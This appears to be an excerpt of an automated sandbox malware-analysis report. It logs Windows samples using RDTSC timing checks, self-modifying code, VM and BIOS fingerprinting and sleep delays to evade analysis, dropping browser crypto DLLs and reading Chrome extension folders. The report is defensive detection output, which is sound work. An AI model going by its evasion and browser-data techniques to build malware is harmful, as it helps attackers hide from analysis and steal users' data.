Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120C4A second address: 5120C50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5120C50 second address: 5120CD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 pushfd 0x00000011 jmp 00007F44DCF2CAF3h 0x00000016 add ecx, 62A6CAEEh 0x0000001c jmp 00007F44DCF2CAF9h 0x00000021 popfd 0x00000022 popad 0x00000023 pop ebx 0x00000024 pushad 0x00000025 mov dx, si 0x00000028 call 00007F44DCF2CAF8h 0x0000002d pushad 0x0000002e popad 0x0000002f pop eax 0x00000030 popad 0x00000031 mov esp, ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov si, 6F4Fh 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEAB74 second address: DEAB78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130E64 second address: 5130E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130E6A second address: 5130E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130E6E second address: 5130E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130B56 second address: 5130BF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14051h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007F44DCF14053h 0x00000011 pop ecx 0x00000012 movsx edi, cx 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F44DCF1404Bh 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e call 00007F44DCF14054h 0x00000023 mov ecx, 449DF6C1h 0x00000028 pop esi 0x00000029 pushfd 0x0000002a jmp 00007F44DCF14057h 0x0000002f or esi, 7C8378EEh 0x00000035 jmp 00007F44DCF14059h 0x0000003a popfd 0x0000003b popad 0x0000003c mov ebp, esp 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 mov ch, dh 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: 5130BF1 second address: 5130C18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44DCF2CAF5h 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Special instruction interceptor: First address: C3EACA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Special instruction interceptor: First address: C3EA34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Special instruction interceptor: First address: DE18DD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 80EACA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 80EA34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 9B18DD instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe

Code function: 6_2_051A070B rdtsc

6_2_051A070B

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 644	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 542	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 351	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1335	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1446	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1400	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Window / User API: threadDelayed 1500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Window / User API: threadDelayed 874	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Window / User API: threadDelayed 843	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6608	Thread sleep count: 644 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7400	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7400	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7404	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7404	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7364	Thread sleep count: 351 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7364	Thread sleep time: -10530000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7380	Thread sleep count: 1335 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7380	Thread sleep time: -2671335s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7732	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7384	Thread sleep count: 1446 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7384	Thread sleep time: -2893446s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7376	Thread sleep count: 1400 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7376	Thread sleep time: -2801400s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe TID: 7792	Thread sleep count: 318 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe TID: 7792	Thread sleep count: 172 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe

Thread sleep count: Count: 1500 delay: -10

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4DC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4DC930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: 29c55c1284.exe, 0000000D.00000002.2248431725.0000000003DA7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: a16b294260.exe, 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareuQl
Source: a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 00000009.00000002.1938715457.0000000000993000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000012.00000002.2355454477.0000000000993000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000014.00000002.2959854076.0000000000993000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000015.00000002.3559735763.0000000000993000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000078C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.000000000108C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000078C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.000000000108C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1836482618.000000000078C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.000000000108C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: KECBKKEBKE.exe, 00000006.00000002.1891113833.0000000000DC3000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 00000008.00000002.4106147374.0000000000993000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000009.00000002.1938715457.0000000000993000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000012.00000002.2355454477.0000000000993000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000014.00000002.2959854076.0000000000993000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 00000015.00000002.3559735763.0000000000993000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, file.exe, 00000000.00000002.1836482618.000000000065C000.00000040.00000001.01000000.00000003.sdmp, a16b294260.exe, a16b294260.exe, 0000000C.00000002.1966115921.0000000000F5C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
